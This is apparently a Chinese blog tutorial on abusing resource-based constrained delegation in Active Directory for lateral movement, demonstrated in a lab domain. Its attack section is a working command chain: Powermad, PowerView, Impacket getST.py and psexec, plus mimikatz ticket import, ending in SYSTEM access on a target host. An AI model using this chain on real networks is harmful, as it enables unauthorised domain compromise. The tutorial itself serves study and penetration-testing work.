内网横向移动—资源约束委派

内网横向移动—资源约束委派

  • 1. 资源约束委派
    • 1.1. 基于资源的约束委派的优势
    • 1.2. 约束性委派和基于资源的约束性委派配置的差别
    • 1.3. 利用条件
      • 1.3.1. 什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性
      • 1.3.2. 将机器加入域的域用户
  • 2. 案例操作
    • 2.1. 获取目标信息
      • 2.1.1. 查询SID值
      • 2.1.2. 查询加入的用户
    • 2.2. 攻击操作
      • 2.2.1. 增加机器
      • 2.2.2. 查看增加情况
      • 2.2.3. 获取SID
      • 2.2.4. 修改委派属性
      • 2.2.5. 验证是否修改成功
      • 2.2.6. 清除属性值设置(千万别实验,只了解)
    • 2.3. 票据生成
      • 2.3.1. 配置host文件
      • 2.3.2. 连接目标获取票据
      • 2.3.3. 导入票据到内存
      • 2.3.4. 利用票据连接
  • 3. 总结

1. 资源约束委派

  资源约束委派主要是为了让用户或者资源更加的独立,所以在Windows server 2012中引入了基于资源的约束委派,基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。

  同时利用基于资源的约束委派的控制权交给拥有被访问资源的管理员,间接导致了域内正常的域用户都有权进行委派操作。

  简单来说就是在资源约束委派中,不需要使用域内管理员去设置相关约束委派的属性,而操作权落到了当前登录的机器或者用户手里了。

  详细的可以参考下面的文章:

  域渗透之委派攻击

  这里就借用一下他人的文章中的说法,以防文章再没了。

1.1. 基于资源的约束委派的优势

  • 委派的权限授予给了拥有资源的后端,而不再是前端
  • 约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
  • 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehaffOtherldentity属性权限也就是将计算机加入域的域用户和机器自身拥有权限。

1.2. 约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
  • 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)

1.3. 利用条件

  • 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限(如已经控制的主机是WEB 则具有修改WEB主机的msDS-AllowedToActOnBehalfOfOtherIdentity的权限账户)
  • 可以创建机器账户的域用户(或已知机器账户)
  • 域控是Windows server 2012及以上
  • 存在域内成员用户加入域的操作。

1.3.1. 什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性

  • 将主机加入域的用户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了)
  • Account Operator组成员
  • 该主机的机器账户

1.3.2. 将机器加入域的域用户

  正常机器加入域需要输入域管账号密码,而这里不需要输入域管的账号密码,而是输入域内用户的账号密码,例如:域控的账号密码是:administrator/admin@123,主机A的账号密码是:dbadmin/admin!@#45,而这时候有一个新的主机要加入域,这时候输入的账号密码不能输入域控的账号密码,而是输入主机A的账号密码,这样就形成了资源约束委派,也就相当于如果我们有主机A的权限,那么后面加入的这台主机的权限我们也就间接性获取到了权限了。

  同时如果我们拿到了Account Operators组内用户权限的话,则我们可以拿到除域控外所有机器的system权限。(因为Account Operators组内用户可以修改域内任意主机(除了域控)的msDS-AllowedToActOnBehalfOfOtherIdentity属性)

2. 案例操作

  这里的委派不需要任何的设置,默认就可以,也就是设置成不信任此用户作为委派。

在这里插入图片描述

2.1. 获取目标信息

  这里我就不在CS中操作了,在CS中操作也是一样的,这里我们获取的是WEB机器的权限,而我们要攻击的则是DATA机器的权限。

2.1.1. 查询SID值

  可以看到使用Adfind工具查询,发现存在两台主机的SID值是一样的,那么就存在资源委派的可能,如果SID值不一样那就不存在资源委派的情况。

AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID
##-h 域控的IP地址,-d是域名,-f是固定的。

在这里插入图片描述

2.1.2. 查询加入的用户

  这里就是查询是谁把这两台主机加入域的,这个用户是谁?

sid2user.exe \\192.168.3.33 5 21 1695257952 3088263962 2055235443 1104   ##要主机从5开始是将前面的S-1-去除,同时将中间的-全部替换为空格。

在这里插入图片描述

  通过查询发现,加入的用户是dbadmin,并且是域内普通用户。

2.2. 攻击操作

  这里需要使用到工具,这个工具是使用PowerShell来执行。

powermad

2.2.1. 增加机器

  其实这里我一直觉得有一个坑,CS是没交互的功能的,那么如何执行交互呢,所以可能还是需要将会话转交给msf来执行。

Set-ExecutionPolicy Bypass -Scope Process   ##更改策略
import-module .\Powermad.ps1             ##执行脚本
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force) ##创建一个用户为test1的,然后密码是123456

在这里插入图片描述

2.2.2. 查看增加情况

  这里在实际操作中是看不到增加情况的,但是这里是演示所以可以看一下,在域控是是否增加了一个用户。

在这里插入图片描述

2.2.3. 获取SID

  这里获取新加入的这太主机的SID值,这里获取到的SID值是:S-1-5-21-1695257952-3088263962-2055235443-1602

Set-ExecutionPolicy Bypass -Scope Process  ##如果出现报错,就执行这条命令,再执行下面的命令。
Import-Module .\PowerView.ps1
Get-NetComputer test1 -Properties objectsid

在这里插入图片描述

2.2.4. 修改委派属性

  这里就是设置委派,修改DATA的属性,仔细看下面的命令,主要要修改的一个是DATA也就是你目标主机的机器名,还有一个就是SID值,这里将SID值修改为刚刚上面我们自己添加的那台主机的SID值。

Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

在这里插入图片描述

2.2.5. 验证是否修改成功

  这里然后将中间的DATA修改成你目标主机的主机名。

Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity 

在这里插入图片描述

2.2.6. 清除属性值设置(千万别实验,只了解)

  这里其实就是将之前的修改的内容给清除了,这个你删除了,就会像我一样,折腾了一个多小时发现,自己搞的问题。

Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

在这里插入图片描述

2.3. 票据生成

  这里就通过票据的生成来验证,不过这里需要提前在本地使用工具生成,使用需要上传木马,设置代理。

2.3.1. 配置host文件

  这里需要提前配置一下host文件,由于使用下面会使用到机器的名,以防解析到外部的地址,所以需要配置相应的host指向,由于是利用本地的工具去生成的,所以修改host文件需要修改本地的host文件。

  这里放在本地的原因是需要使用python环境,而目标如果没有python文件,你把工具上传后也无法执行,同时该工具又有很多小工具,都未经免杀,可能上传就会被干掉。

192.168.3.11 web.xiaodi.org
192.168.3.22 data.xiaodi.org
192.168.3.33 dc.xiaodi.org
192.168.3.33 xiaodi.org

在这里插入图片描述

2.3.2. 连接目标获取票据

  这里需要使用到impacket工具,并且使用到python3.10及以上版本,可能低版本的存在一些小问题。

  impacket工具

proxychains python getST.py -dc-ip 192.168.3.33 xiaodi.local/test1\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

在这里插入图片描述

2.3.3. 导入票据到内存

  这里将刚刚生成的票据导入到内存中,由于票据是本地生成的,那么就需要先将票据上传到所控主机上后在进行导入。

mimikatz kerberos::ptc administrator.ccache

在这里插入图片描述

2.3.4. 利用票据连接

dir \\data.xiaodi.local\c$    ##默认连接,权限低。
python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass   ##可提升为system权限。

在这里插入图片描述

3. 总结

  其实总体来说,约束委派类,不是太经常遇到,同时在操作过程中,还有很多是需要交互的,或者一些特殊的操作,其中有一点不对则无法利用成功,不像其他漏洞,能不能利用基本上测试一下就能确定了,而这个有可能测试完也无法成功,上面案例中能够测试成功,均是在理想化环境中测试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/63899.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

flink如何监听kafka主题配置变更

背景: 从前一篇文章我们知道flink消费kafka主题时是采用的手动assign指定分区的方式,这种消费方式是不处理主题的rebalance操作的,也就是消费者组中即使有消费者退出或者进入也是不会触发消费者所消费的分区的,那么疑问就来了&am…

MySQL建表和增添改查

1.创建一个名为mydb的数据库 mysql> show database mydb; 查询 mysql> show database mydb; 2.创建一个学生信息表 mysql> create table mydb.student_informtion( -> student_id int UNSIGNED NOT NULL PRIMARY KEY, //非空(不允许为空&#xff0…

【工具使用】STM32CubeMX-基础定时器配置

一、概述 无论是新手还是大佬,基于STM32单片机的开发,使用STM32CubeMX都是可以极大提升开发效率的,并且其界面化的开发,也大大降低了新手对STM32单片机的开发门槛。     本文主要讲述STM32芯片的定时器的配置及其相关知识。 …

棒球网络宣传平台建设规划·野球1号位

棒球网络宣传平台建设规划 棒球网络宣传平台简介棒球网络宣传平台是什么? 棒球网络宣传平台的目标是什么? 棒球网络宣传平台的目标是提高公众对棒球的认知度、促进棒球运动的发展。平台致力于提供优质的棒球资讯、赛事直播、教练和球员的个人专访、棒球…

03微服务到底是什么

一句话导读 微服务是一种架构模式,英文翻译 microservice,微服务架构的核心理念是将大型、复杂的单体应用拆分成更小的、自治的组件,每个组件即为一个微服务 目录 一句话导读 一、微服务的定义 二、微服务的特点 1.独立性 2.松耦合 3.可伸…

2023牛客暑期多校训练营7-c-Beautiful Sequence

思路: ,则有,也就是说只要知道A1就可以求任意A。由于A是升序排列,所以对于任意,二进制所包含1的最高位第k位来说,表明与第k位相反,要大一些,所以它的第k位为1,的第k位为…

Qt tabwidget中插入widget

一、简单介绍 QT->tabWidget:标签页面。 在ui中通过工具栏自定义拉取控件,其中tabwidget可以可以创建多个标签页面,默认生成两个tab_widget(tab_1/tab_2)。并且可以在ui中右键自由添加控制删除等标签页,切换标签页就是切换widg…

一文学会git常用命令和使用指南

文章目录 0. 前言1.分支分类和管理1. 分支分类规范:2. 最佳实践3. 分支命名规范示例:4. 分支管理方法: 2. commit 注释规范1. 提交注释结构:2. 提交注释的准则: 3. git 常用命令1. git pull 核心用法2. git push 命令1…

【LeetCode】24.两两交换链表中的节点

题目 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 示例 1: 输入:head [1,2,3,4] 输出&#xff1a…

K8s持久化存储(nfs网络存储)

数据卷 emptydir,是本地存储,pod重启,数据就不存在了,需要对数据持久化存储 1.nfs,网络存储 ,pod重启,数据还存在的

Qt应用开发(基础篇)——时间微调输入框QDateTimeEdit、QDateEdit、QTimeEdit

一、前言 QAbstractSpinBox是全部微调输入框的父类,这是一种允许用户通过点击上下箭头按钮或输入数字来调整数值的图形用户界面控件,父类提供了当前值text、对齐方式align、只读readOnly等通用属性和方法。在上一篇数值微调输入框中有详细介绍。 QDateTi…

STM32 低功耗-停止模式

STM32 停止模式 文章目录 STM32 停止模式第1章 低功耗模式简介第2章 停止模式简介2.1 进入停止模式2.1 退出停止模式 第3章 停止模式程序部分总结 第1章 低功耗模式简介 在 STM32 的正常工作中,具有四种工作模式:运行、睡眠、停止以及待机模式。 在系统…

wpf 项目中使用 Prism + MaterialDesign

1.通过nuget安装MaterialDesign 2.通过nuget安装Prism 3.修改App.xmal <prism:PrismApplication x:Class"VisionMeasureGlue.App"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/…

PHP序列化,反序列化

一.什么是序列化和反序列化 php类与对象 类是定义一系列属性和操作的模板&#xff0c;而对象&#xff0c;就是把属性进行实例化&#xff0c;完事交给类里面的方法&#xff0c;进行处理。 <?php class people{//定义类属性&#xff08;类似变量&#xff09;,public 代表可…

3.2 防火墙

数据参考&#xff1a;CISP官方 目录 防火墙基础概念防火墙的典型技术防火墙企业部署防火墙的局限性 一、防火墙基础概念 防火墙基础概念&#xff1a; 防火墙&#xff08;Firewall&#xff09;一词来源于早期的欧式建筑&#xff0c;它是建筑物之间的一道矮墙&#xff0c;用…

31 对集合中的字符串,按照长度降序排列

思路&#xff1a;使用集合的sort方法&#xff0c;新建一个Comparator接口&#xff0c;泛型是<String>&#xff0c;重写里面的compare方法。 package jiang.com; import java.util.Arrays; import java.util.Comparator; import java.util.List;public class Practice4 {…

SQL Server数据库如何添加mysql链接服务器(Windows系统)

SQL Server数据库如何添加mysql链接服务器&#xff08;Windows系统&#xff09; 一、说明二、下载mysql的odbc驱动三、安装mysql odbc四、配置ODBC4.1 控制面板→ODBC数据源&#xff08;64位&#xff09;→双击打开4.2 添加msql odbc数据源 五、测试添加是否成功六、打开SSMS&a…

基于YOLOv7开发构建MSTAR雷达影像目标检测系统

MSTAR&#xff08;Moving and Stationary Target Acquisition and Recognition&#xff09;数据集是一个基于合成孔径雷达&#xff08;Synthetic Aperture Radar&#xff0c;SAR&#xff09;图像的目标检测和识别数据集。它是针对目标检测、机器学习和模式识别算法的研究和评估…

python爬虫3:requests库-案例1

python爬虫3&#xff1a;requests库-案例1 前言 ​ python实现网络爬虫非常简单&#xff0c;只需要掌握一定的基础知识和一定的库使用技巧即可。本系列目标旨在梳理相关知识点&#xff0c;方便以后复习。 申明 ​ 本系列所涉及的代码仅用于个人研究与讨论&#xff0c;并不会对网…

ubuntu上安装mosquitto服务

1、mosquitto是什么 Mosquitto 项目最初由 IBM 和 Eurotech 于 2013 年开发&#xff0c;后来于 2016 年捐赠给 Eclipse 基金会。Eclipse Mosquitto 基于 Eclipse 公共许可证(EPL/EDL license)发布&#xff0c;用户可以免费使用。作为全球使用最广的 MQTT 协议实现之一 &#x…